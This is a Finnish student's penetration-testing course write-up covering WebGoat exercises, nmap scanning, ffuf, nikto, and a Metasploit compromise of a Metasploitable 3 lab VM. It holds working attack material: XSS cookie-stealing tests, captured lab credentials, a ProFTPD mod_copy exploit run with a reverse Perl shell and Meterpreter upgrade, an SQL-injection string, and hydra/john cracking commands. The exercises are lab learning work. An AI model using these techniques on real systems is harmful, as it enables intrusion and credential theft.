A3 Sensitive data exposure
Insecure Login: 2 Let's try

A7 Cross Site Scripting (XSS): Cross site scripting
2 What is XSS?
7 Try It! Reflected XSS

A8:2013 Request Forgeries:
Cross-Site Request Forgeries
3 "Basic Get CSRF Exercise"
4 "Post a review on someone else's behalf".


A2 Broken authentication:

Ensin kirjoitan kenttiin ihan mitä vain ja lähetän. Pääsen tarkastelemaan post pyyntöjä kehittajätyökalujen network välilehdeltä. Sielä löydän "Request payload" kohdan, jonka avulla salaisen kysymyksen vastaus varmennetaan.

kuva

Headers välilehden kautta voin tehdä tuohon pyyntöön muutoksia ja lähettää se uudelleen

kuva

Muutin pyyntöä niin, että vaihdoin numerot suuremmaksi, näin palvelin ei voi verrata niitä oikeisiin vastuksiin.

kuva

Tämä aiheutti uuden post vastauksen jonka responce sivulta näemme että tehtävä hyväksyttiin.

kuva

A3 Sensitive data exposure

Tallensin wiresharkilla liikennettä samalla kun yritin kirjautua sisään, asetin rajoitukseksi POST pyynnöt.

kuva

Tästä näen että username on CaptainJack ja password BlackPearl

kuva

A7 Cross Site Scripting (XSS): Cross site scripting

Painamalla f12 selaimessa pääsemme konsoliin ja voimme kirjoittaa JavaScriptiä, koodipätkä tulikin jo tehtävänannossa javascript:alert(document.cookie); , käytän siis sitä.
Kummankin ikkunan keksit olivat identtiset, kyseessä on siis sama istunto vaikka ikkunoita on kaksi auki.

Voin tarkastaa mikä kenttä ottaa vastaan komentoja 'hello world' <script>alert('HelloWorld')</script> tyylisellä testillä. Kenttä joka toimi on 'credit card number:', tätän kenttään voin käyttää hyökkäyksessä.


H4, Tiedustelua

Tehtävät:

Nmap

Tehtävä Z
Lue artikkelit ja katso videot, tee kustakin muistiinpanot.
- Santos et al: The Art of Hacking (Video Collection)
- Lyon 2009: Nmap Network Scanning
- Nmap Reference Guide
- man nmap

Tehtävä A
nmap TCP connect scan -sT

Tehtävä B
nmap TCP SYN "used to be stealth" scan, -sS

Tehtävä C
nmap ping sweep -sn

Tehtävä D
nmap don't ping -Pn

Tehtävä E
nmap version detection -sV

Tehtävä F
nmap porttien valinta -p1-100, --top-ports 5, -p-

Tehtävä G
nmap ip-osoitteiden valinta; luettelo, verkkomaskilla 10.10.10.0/24, alku- ja loppuosoitteella 10.10.10.100-130

Tehtävä H
nmap output files -oA foo.

Tehtävä K
nmap ajonaikaiset toiminnot (man nmap: runtime interaction): verbosity v/V, help ?, packet tracing p/P, status s

Tehtävä I
Miten nmap toiminta eroaa, jos sitä ajaa ilman sudoa?

Tehtävä M
nmap, vertaile -sV vs -A kestoa

Tehtävä D
Piiloutuuko nmap-skannaus hyvin palvelimelta? Aja nmap-versioskannaus -sV omaan paikalliseen weppipalvelimeen. Etsi Apachen lokista tätä koskevat rivit.
Vapaaehtoinen lisäkohta: jääkö Apachen lokiin jokin todiste nmap-versioskannauksesta?

Tehtävät UDP

Tehtävä E
Mitkä ovat tavallisimmat tai kiinnostavimmat palvelut, joita UDP-skannauksella voisi löytää?

Tehtävä F
Miksi UDP-skannaus on hankalaa ja epäluotettavaa? Miksi UDP-skannauksen kanssa kannattaa käyttää --reason flagia?

Aktiivista tiedustelua

Tehtävä H
Fuff

Tehtävä i
Nikto

Tehtävä J
Pizza fantasia: jokin valitsemasi tiedustelutyökalu


Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2


Tehtävä Z

Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä z-kohdassa ei tarvitse tehdä mitään kokeita koneella.

€ Santos et al: The Art of Hacking (Video Collection): [..] 4.3 Surveying Essential Tools for Active Reconnaissance. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.

Lyon 2009: Nmap Network Scanning: Chapter 1. Getting Started with Nmap Suoraan hevosen suusta: Gordon Lyon aka Fyodor Vaskovich on kirjoittanut tuon menestyneen kirjan lisäksi nmapin. Kirja maksaa 40 eur, mutta reiluna kaverina Gordon oli laittanut juuri tähän sopivat luvut ilmaiseksi nettiin.

Silmäile (ei tarvitse lukea kokonaan, 40 liuskaa pitkä): Lyon 2009: Nmap Network Scanning: Chapter 15. Nmap Reference Guide
Port Scanning Basics (opettele, mitä tarkoittavat: open, closed, filtered; muuten vain silmäily)
Port Scanning Techniques (opettele, mitä ovat: -sS -sT -sU; muuten vain silmäily)

Silmäile (ei tarvitse lukea kokonaan): man nmap


Santos et al: The Art of Hacking

Passiivinen - Nettisivuilla käynti
Aktiivinen - Porttien skannaus

Nmap Network Scanning: Chapter 1

Osio sisälsi tarinoita nmapin käytöstä, tarinat olivat keksittyjä mutta kertoivat hyvin miten nmappia voisi työelämässä käyttää.

Port Scanning Basics

Open - Portissa on ohjelma joka vastaa.
Closed - Portissa ei ole ohjelmaa joka vastaisi.
Filtered - Porttiin ei saada yhteyttä, esimerkiksi palomuuri estämässä liikennettä.

Port Scanning Techniques

Tässä esiteltyjä tekniikoita käydäänkin tämän viikon tehtävissä lävitse.


Tehtävä A

nmap TCP connect scan -sT


-sT

$ sudo nmap 10.10.10.4 -p 22 -sT
-sT - Connect scan

Wireshark:

Ottaa yhteyden kohteeseen (SYN), saa vastauksen(SYN-ACK) ja kertoo että on saanut vastuksen (ACK).
SourceDestinationInfo
MinäKohde SYN - Lähetetään yhteyspyyntö (SYN)
KohdeMinäSYN, ACK - Kohde kuittaa (ACK) yhteyspyynnön ja lätettää oman (SYN)
MinäKohdeACK - Kuitataan kohteen edellinen SYN paketti
MinäKohde RST, ACK - Kuitataan viimeksi tullut data (ACK) ja kerrotaan että ei oteta lisää yhteyksiä (RST)


Tehtävä B

nmap TCP SYN "used to be stealth" scan, -sS (tätä käytetään skannatessa useimmin)


-sS

$ sudo nmap 10.10.10.4 -p 22 -sS
-sS - SYN scan
Lähettää SYN paketin ja ei vastaa vastauksena tulleeseen SYN-ACK pakettiin, vaan lähetää RST paketin kertoakseen että ei ota vastaan lisää paketteja kohteelta.

Wireshark:
SourceDestinationInfo
MinäKohde SYN - Lähetetään yhteyspyyntö (SYN)
KohdeMinäSYN, ACK - Kohde kuittaa (ACK) yhteyspyynnön ja lätettää oman (SYN)
MinäKohdeRST - Kerrotaan että ei oteta lisää yhteyksiä (RST)


Tehtävä C

nmap ping sweep -sn


-sN

$ sudo nmap -sn 10.10.10.0/24
-sN - Verkon skannaus
Nmap kysyy mahdollista omistajaa brodcastin avulla kaikkiin osoitteisiin välillä 10.10.10.0-255
Kyseessä on tietenkin lähiverkko, mutta latencyn ollessa 0.00016sekunttia, tiedämme että kone on hyvin lyhyen hypähdyksen päässä.

Wiresharkin avulla näen ARP-kyselyt ja vastaukset.
Vaaleansinisellä kysely: onko kellään IP osoitetta 10.10.10.4 ja pyyntö kertoa se osoitteelle 10.10.10.3 (eli minulle).
Tummansinisellä vastaus, 10.10.10.4 kuuluu koneelle jonka mac osoite on 08:00:27:6d:8c:39


Tehtävä D

nmap don't ping -Pn


-Pn

$ sudo nmap -Pn 10.10.10.4
-Pn - Treat all hosts as online.

No ping

Wireshark:
Wiresharkissa hyvin paljon tietoa, sen avaaminen vaatisi hieman enemmän aikaa kuin mitä minulla on nyt käytettävissän.

No ping wireshark


Tehtävä E

nmap version detection -sV (esimerkki yhdestä palvelusta yhdessä portissa riittää)


-sV

$ sudo nmap 10.10.10.4 -p 22 -sV
-sV - Versio skannaus
Skannaa version portissa olevasta palvelusta ja itse palvelimesta. Aiheuttaen samalla hyvin paljon enemmän kyselyitä palvelimelle.



Ilman -sV on liikenne hyvin paljon kevyempää:
$ sudo nmap 10.10.10.4 -p 22


Tehtävä F

nmap porttien valinta -p1-100, --top-ports 5, -p-


-p1-100

$ sudo nmap 10.10.10.4 -p 1-100
-p - Skannaa halutun portit tai portit

--top-ports 5

Skannaa viisi eniten käytettyä porttia:
$ sudo nmap -sTU --top-ports 5 10.10.10.4
--top-ports - Skannaa useimmiten käytetyt portit
-sTU - TCP ja UDP skannaukset

Vastaus:
TCP: 21,22,23,80 ja 443
UDP: 123,137,138,161 ja 631

-p-

$ sudo nmap 10.10.10.4 -p-
-p- Skannaa kaikki portit (1-65535).


Tehtävä G

nmap ip-osoitteiden valinta; luettelo, verkkomaskilla 10.10.10.0/24, alku- ja loppuosoitteella 10.10.10.100-130 (ipcalc auttaa ymmärtämään, miten verkkomaskia tulkitaan)


Osoitteen valinta

Koko verkon skannauksen sijaan voidaan rajata se haluttuihin osoitteisiin. Tässä käydään läpi osoitteet 10.10.10.5-10.
$ sudo nmap -sn 10.10.10.5-10

Nmap scan report for 10.10.10.5 Host is up, received arp-response (0.00024s latency).
Nmap scan report for 10.10.10.6 [host down, received no-response]
Nmap scan report for 10.10.10.7 [host down, received no-response]
Nmap scan report for 10.10.10.8 [host down, received no-response]
Nmap scan report for 10.10.10.9 [host down, received no-response]
Nmap scan report for 10.10.10.10 [host down, received no-response]
Nmap done: 6 IP addresses (1 host up)


Tehtävä H

nmap output files -oA foo. Mihin kukin tiedostotyyppi sopii?


-oA

Tallentaa tulokset kolmeen eri tiedostoon: .gnmap, .nmap ja .xml
$ sudo nmap 10.10.10.5 -oA tuloste


Tehtävä K

nmap ajonaikaiset toiminnot (man nmap: runtime interaction): verbosity v/V, help ?, packet tracing p/P, status s (ja moni muu nappi)


Ajonaikaiset toiminnot

v lisää verbositeettiä, V vähentää.
? näyttää help valikon.
p lisää paketinseurannan, P poistaa sen käytöstä. muut napit tulostaa arvion jäljellä olevasta ajasta

Kuvankaappaus paketinseurannasta:


Tehtävä L

normaalisti 'sudo nmap'. Miten nmap toiminta eroaa, jos sitä ajaa ilman sudoa? Suorita ja analysoi esimerkki.


Sudo vs no Sudo

Ilman sudoa jää osa tuloksista pois, esimerkiksi MAC-osoitteet ei näy.

sudo

no sudo


Tehtävä M

nmap, vertaile -sV vs -A kestoa (ja lähetetyn datan määrää jos osaat; time, nethogs, wireshark). Käytä harjoitusmaalina metasploitable2.


-sV vs -A

-A kestää huomattavasti pidempään, syynä se, että hakee paljon enemmän tietoa kohteesta.


Tehtävä D

Ninjojen tapaan. Piiloutuuko nmap-skannaus hyvin palvelimelta? Vinkkejä: Asenna Apache. Aja nmap-versioskannaus -sV omaan paikalliseen weppipalvelimeen. Etsi Apachen lokista tätä koskevat rivit. Wiresharkissa "http" on kätevä filtteri, se tulee siihen yläreunan "Apply a display filter..." -kenttään. Nmap-ajon aikana p laittaa packet tracing päälle. Vapaaehtoinen lisäkohta: jääkö Apachen lokiin jokin todiste nmap-versioskannauksesta?


Ninjat

$ sudo nmap -sV 10.10.10.2 -p 80
Apache2 access.log, paljon GET ja POST pyyntöjä osoitteesta 10.10.10.3

$ sudo nmap -sS 10.10.10.2 -p 80
Ei yhtäkään uutta riviä access.log issa


Tehtävä E

Mitkä ovat tavallisimmat tai kiinnostavimmat palvelut, joita UDP-skannauksella voisi löytää? (tässä alakohdassa vain vastaus viitteineen, ei tarvita testiä tietokoneella)


Tavallisimmat ja kiinnostavimmat palvelut UDP

Domain Network System (DNS)
Network Time Protocol (NTP)
Dynamic Host Configuration Protocol (DHCP)
Simple Network Management Protocol (SNMP)


Tehtävä F

Miksi UDP-skannaus on hankalaa ja epäluotettavaa? Miksi UDP-skannauksen kanssa kannattaa käyttää --reason flagia? (tässä alakohdassa vain vastaus viitteineen, ei tarvita testiä tietokoneella)


UDP hankala ja epäluotettava

UDP scannaus lähettää yleensä tyhjän paketin, voi kuitenkin olla niin että portissa oleva palvelu hylkää tämän paketin eikä siihen vastaa.
--reason flag kertoo syyn miksi portti on oletetusti auki tai kiinni.


Tehtävä Aktiivista tiedustelua H

fuff (hakemistojen kokeilu riittää, vapaaehtoisena bonuksena muutakin)


Fuff

Meillä on kohteena palvelin, jossa on verkkosivu auki portissa 80.

Käytetään ffuf ohjelmaa jolla voimme löytää kansiota ja tiedostoja jotka tuon sivun alla on.
$ ffuf -w ./wordlists/common.txt -u http://10.10.10.2/FUZZ
-w - Käytetään sanalistaa jonka avulla fuff etsii tiedostoja ja kansioita
-u - Sivun osoite
FUZZ - Kohta johon haluamme sanalistaa koittaa

Tästä hieman tarkempaan katseluun pieni osio

Admin - Kansio
index.html - Html tiedosto
server-status - Tiedosto joka sisältää tietoa apache palvelimesta
Status 200 - Onnistunut, vastaa ja toimii
Status 301 -
Status 403 - Tälläinen tiedosto löytyi, mutta meillä ei siihen ole oikeuksia

Nyt voimme mennä katsomaan mitä Admin kansio sisältää. Sieltä löytyi salainen tiedosto.

Samalla voimme tarkastella miltä tuo server-status näyttää, joka antaa 403 forbidden koodin.


Tehtävä aktiivista tiedustelua I

Nikto


Nikto

https://www.kali.org/tools/nikto/
Nikto on web haavoittuvaisuusskanneri. Skannaa oletuksena portin 80, vaihdan sen porttiin 8080, jossa tiedän että on webpalvelu auki tällä kyseisellä koneella. $ nikto -host 10.10.10.4 -port 8080

Raportista nousi yksi kiinnostava asia,
+ OSVDB-17113: /SilverStream: SilverStream allows directory listing


Tehtävä aktiivista tiedustelua J

Pizza fantasia: jokin valitsemasi tiedustelutyökalu, esimerkiksi EyeWitness, wpscan, openvas, nucleus tai jokin muu.


EyeWitness

https://www.kali.org/tools/eyewitness/
EyeWitness ottaa kuvankaappauksia halutusta websivuista ja tallentaa ne tietoineen.
Koitan ohjelmaa sisäverkossa olevaa konetta vastaan jolla on jotain esillä portissa 8080,
$ eyewitness --single http://10.10.10.4:8080 -d eyetest
--single - Annetaan yksi url
-d - Kansio jonne tiedostot laitetaan

Raportissa tietoa koska kuva on otettu (Date: Thu, 28 Apr 2022 09:15:32 GMT), tietoa palvelimesta jolla sivu pyörii (Server: WSGIServer/0.2 CPython/3.8.2 ) ja itse kuva sivusta (Web Screenshot).


H5, Script kiddie

Tehtävät:

Tehtävä Z
Lue artikkelit ja katso videot, tee kustakin muistiinpanot.
-€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)
-Vapaavalintainen läpikävely (walktrough) yhdestä murrosta.

Tehtävä A
Asenna Metasploitable 3

Tehtävä B
Murtaudu Metasploitable 3 käyttämällä Metasploittia

Tehtävä C
Demonstroi meterpreter:n käyttöä


Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 8GB
- Cores: 2
Debian-live-11.3.0-amd64-xfce+nonfree
- Ram: 6GB
- Cores: 2


Tehtävä Z

Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä v-kohdassa ei tarvitse tehdä mitään kokeita koneella.

€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)

Vapaavalintainen läpikävely (walktrough) yhdestä murrosta. Voit siis valita yhden läpikävelyn mistä tahansa näistä kanavista tai blogista. Kanavilla on muitakin artikkeleita, valitse tästä läpikävely. Keskity tiivistäessä asioihin, joita voisit itse soveltaa hyökätessä. Tässä on yli 200 h videota, niitä ei tarvitse katsoa kaikkia.
0xdfhttps://0xdf.gitlab.io/
ippsechttps://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos
John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p


HackTheBox - Driver

Youtube: HackTheBox - Driver
Tahti oli nopea ja tekijä osaava, kun yksi asia ei toiminut hän muutti hieman tapaa ja yritti uudelleen ja uudelleen. Hyvin pienistä vinkeistä hän huomaa mitä tehdä seuraavaksi, tai mitä työkalua/tapaa kannattaa yrittää.
Koko walktrough oli täynnä minulle täysin uusia tapoja hyökätä, kuten SCF File Attack SCF File Attack
ja Evil-WinRM
Sopivasti tämän viikon teemaan sopien hän käytti myös metasploittia ja meterpreteriä avukseen.
Vuoden alussa en olisi pysynyt tässä mukana ollenkaan, nyt ymmärsin mitä hän tekee ja miksi, vaikka usein ajattelinkin että mistä hän keksi että näin voi tehdä. Työkalupakkia sinne päähän tässä itsekkin rakentelee ja joka viikko oppii uusia asioita.


Tehtävä A

Emmental. Asenna Metasploitable 3


Metasploitable 3 asennus Debian 11 VirtualBox koneelle

Teen asennukset Debian11 virtuaalikoneella ja siirrän tuloksena tulleet .ova tiedostot Windows koneelle ja lisään ne sitä kautta VirtualBoxiin.
Seurasin ohjeita jotka löytyvät täältä: https://github.com/rapid7/metasploitable3/blob/master/README.md

Vagrant ja vagrant-reload

$ sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
$ curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get install vagrant
$ vagrant plugin install vagrant-reload

Packer

$ sudo apt-get install packer

Virtualbox

$ sudo apt-add-repository "deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib"
$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get install virtualbox-6.1

Vagrantfile

$ mkdir metasploitable3-workspace
$ cd metasploitable3-workspace
$ curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
$ vagrant up

ERROR: IP

The IP address configured for the host-only network is not within the
allowed ranges. Please update the address used to be within the allowed
ranges and run the command again.
Address: 172.28.128.3
Ranges: 192.168.56.0/21
Valid ranges can be modified in the /etc/vbox/networks.conf file. For
more information including valid format see:
https://www.virtualbox.org/manual/ch06.html#network_hostonly

https://www.virtualbox.org/manual/ch06.html#network_hostonly
Käytän konetta vain omassa suljetussa verkossa, joten poistan rajoitukset:
$ sudo nano /etc/vbox/networks.conf

Ja kirjoitan sinne seuraavan rivin:
* 0.0.0.0/0 ::/0

ERROR: AMD-V

There was an error while executing `VBoxManage`, a CLI used by Vagrant
for controlling VirtualBox. The command and stderr is shown below.
Command: ["startvm", "ad9a60c7-6795-44d3-9a4b-acf1de0d8c5e", "--type", "headless"]
Stderr: VBoxManage: error: AMD-V is not available (VERR_SVM_NO_SVM)
VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component ConsoleWrap, interface IConsole

Muutan hieman asetuksia ja otan käyttöön 'Nested VT-x/AMD-V".

Toimii

.ova

Virtualboxissa: File->Export Appliance

Siirrän tästä tulleen .ova tiedoston toiselle koneelle.

Tuplaklikkaus riittää ja asennus alkaa.

Metasploitable3 Ubuntu on nyt siirretty ja toimii kuten pitää.

Tein vielä saman Metasploitable3 win2k8 koneelle.


Tehtävä B

Msf. Murtaudu Metasploitable 3 käyttämällä Metasploittia 'sudo msfconsole'


Metasploit

Käynnistän metasploitin.
$ sudo msfconsole

Nmap versiot.
msf6 > nmap 10.10.10.7 -sV

ProFTPD 1.3.5

Aloitan ensimmäisestä portista, port 21.
msf6 > search ProFTPD

4 ProFTPD 1.3.5 Mod_Copy Command Execution

Yksi 'excellent' luokiteltu versiolle 1.3.5, valitsen sen.
msf6 > use 4
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Lisään kohdekoneen IP osoitteen.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOST 10.10.10.7
RHOST => 10.10.10.7

Tarjolla olevat payloadit:
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads

Nämä eivät sano minulle mitään, koitan ykköstä.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload 1
payload => cmd/unix/bind_perl
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit

[-] 10.10.10.7:80 - Exploit aborted due to failure: unknown: 10.10.10.7:21 - Failure copying PHP payload to website path, directory not writable?

'website path, directory not writable' tutkimisen arvoinen ilmoitus. Tällähetkellä SITEPATH (Absolute writable website path) on '/var/www', oma apache2 kokemus sanoisi että vakiona se olisi '/var/www/html', tai '/var/www/SIVUNNIMI'. Osoitteessa http://10.10.10.7 ei ole "sivua" vain hakemistorakenne.

Laitetaan siis '/var/www/html'.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html

Uusi yritys:
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] 10.10.10.7:80 - 10.10.10.7:21 - Connected to FTP server
[*] 10.10.10.7:80 - 10.10.10.7:21 - Sending copy commands to FTP server
[*] 10.10.10.7:80 - Executing PHP payload /6OPyDB.php
[-] 10.10.10.7:80 - Exploit aborted due to failure: unknown: 10.10.10.7:21 - Failure executing payload
[*] Exploit completed, but no session was created.

'Failure executing payload'. Tälläkertaa kirjoittamien onnistui, mutta payload ei. Nyt on käytössä 'Bind TCP (via Perl)' vaihdan sen 'Reverse TCP (via Perl)'.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload 5
payload => cmd/unix/reverse_perl

Ja annan sille payloadille osoitteen minne soittaa takaisin. msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 10.10.10.3
LHOST => 10.10.10.3

Onnistuisikohan nyt, exploit.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.3:4444
[*] 10.10.10.7:80 - 10.10.10.7:21 - Connected to FTP server
[*] 10.10.10.7:80 - 10.10.10.7:21 - Sending copy commands to FTP server
[*] 10.10.10.7:80 - Executing PHP payload /ngt5iF.php
[*] Command shell session 1 opened (10.10.10.3:4444 -> 10.10.10.7:44645 ) at 2022-05-06 01:54:13 -0400

Onnistui, olemme käyttäjä www-data, ryhmässä www-data. Tämähän ei vielä ole murrettu, mutta siirryn seuraavaan tehtävään koska se jatkuu tästä sopivasti.

ProFTP pwned


Tehtävä C

Rat. Demonstroi meterpreter:n käyttöä


Meterpreter

Jatkan siit mihin jäin edellisessä tehtävässä jäin. CTRL+Z laittaa tuon session taustalle ja etsin payloadin joka vaihtaisi shellin meterpreteriin.
Background session 1? [y/N] y
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > back
msf6 > search shell to meterpreter

Hakutermiä voisi hieman parantaa, tuloksia tuli 39 kappaletta. Mutta löysin mitä halusin:
17 post/multi/manage/shell_to_meterpreter Shell to Meterpreter Upgrade

Käytän siis sitä.
msf6 > use 17
msf6 post(multi/manage/shell_to_meterpreter) > show options

Haluttu shell on sessiossa yksi, valitaan se.
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Meterpreter session 2 opened

Siiryn tähän sessioon.
msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...

Toimii kuten pitää. Tämän kautta terminaalin käyttö on selkeästi helpompaa

ps - Kertoo kaikki käynnissä olevat prosessit ja niiden käyttäjät.

webcam_list - Listaa webkamerat


H6, Final Countdown

Tehtävät:

Tehtävä A
Muuta hakupyyntöä välimiesproxylla.

Tehtävä B
kerää parhaat kikat, käskyt ja tekniikat omasta ja toisten raporteista.

Tehtävä D
Kaikki tehtävät tähän. Listaa suora linkki kuhunkin palautukseesi.

Tehtävä F
Jos olet korkannut koneita Challenge.fi:ssa tai HackTheBoxissa, listaa ne tähän.


Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 8GB
- Cores: 2
Debian-live-11.3.0-amd64-xfce+nonfree
- Ram: 6GB
- Cores: 2


Tehtävä A

Middle. Muuta hakupyyntöä välimiesproxylla.


MITM

En ehtinyt tätä tehtävää tehdä loppuun, koska en ollut omalla koneellani. Lisään sen tänne kun sen saan tehtyä.


Tehtävä B

Cheatsheet - kerää parhaat kikat, käskyt ja tekniikat omasta ja toisten raporteista.


Cheatsheet

search, use, show options, set, exploit, ctrl+z, sessions - Metasploitin peruskomentoja
-sn, -sV, -p, -sS, -A - Nmapin lippuja
Wireshark Verkkoliikenteen sieppaus ja analysointi
0 OR 1=1 - SQL injection
$ john HASHFILE --wordlist=/WORDLIST - Paikalliseen salasanamurtoon
$ hydra -l USERNAME -P /WORDLIST IP PROTOCOL - Verkon yli salasanamurtoon
$ ffuf -w ./wordlists/common.txt -u http://10.10.10.2/FUZZ - Etsii piilotetut kansiot ja tiedostot sivuilla
$ nikto -host 10.10.10.4 - Haavoittuvaisuusskanneri
$ ipconfig - IP, DNS ym tietoa
$ ping IP - Tarkastus onko vastakone pystyssä
$ man - Ohjelmien manuaalien katsomiseen


Tehtävä C

Kaikki tehtävät tähän. Listaa suora linkki kuhunkin palautukseesi.


Tehtävät

H1, Vuohi, tappoketju ja pimeän verkon päiväkirjat
H2, Turbo boosted
H3, Attaaack!
H4, Tiedustelua
H5, Script kiddie
H6, Final Countdown


Tehtävä F

Vapaaehtoinen, Korkki: Jos olet korkannut koneita Challenge.fi:ssa tai HackTheBoxissa, listaa ne tähän. Erottele selkeästi käynnissä olevien kilpailujen (non-retired) koneet vanhoista, joiden ratkaisut on jo julkaistu.


HTB

challenge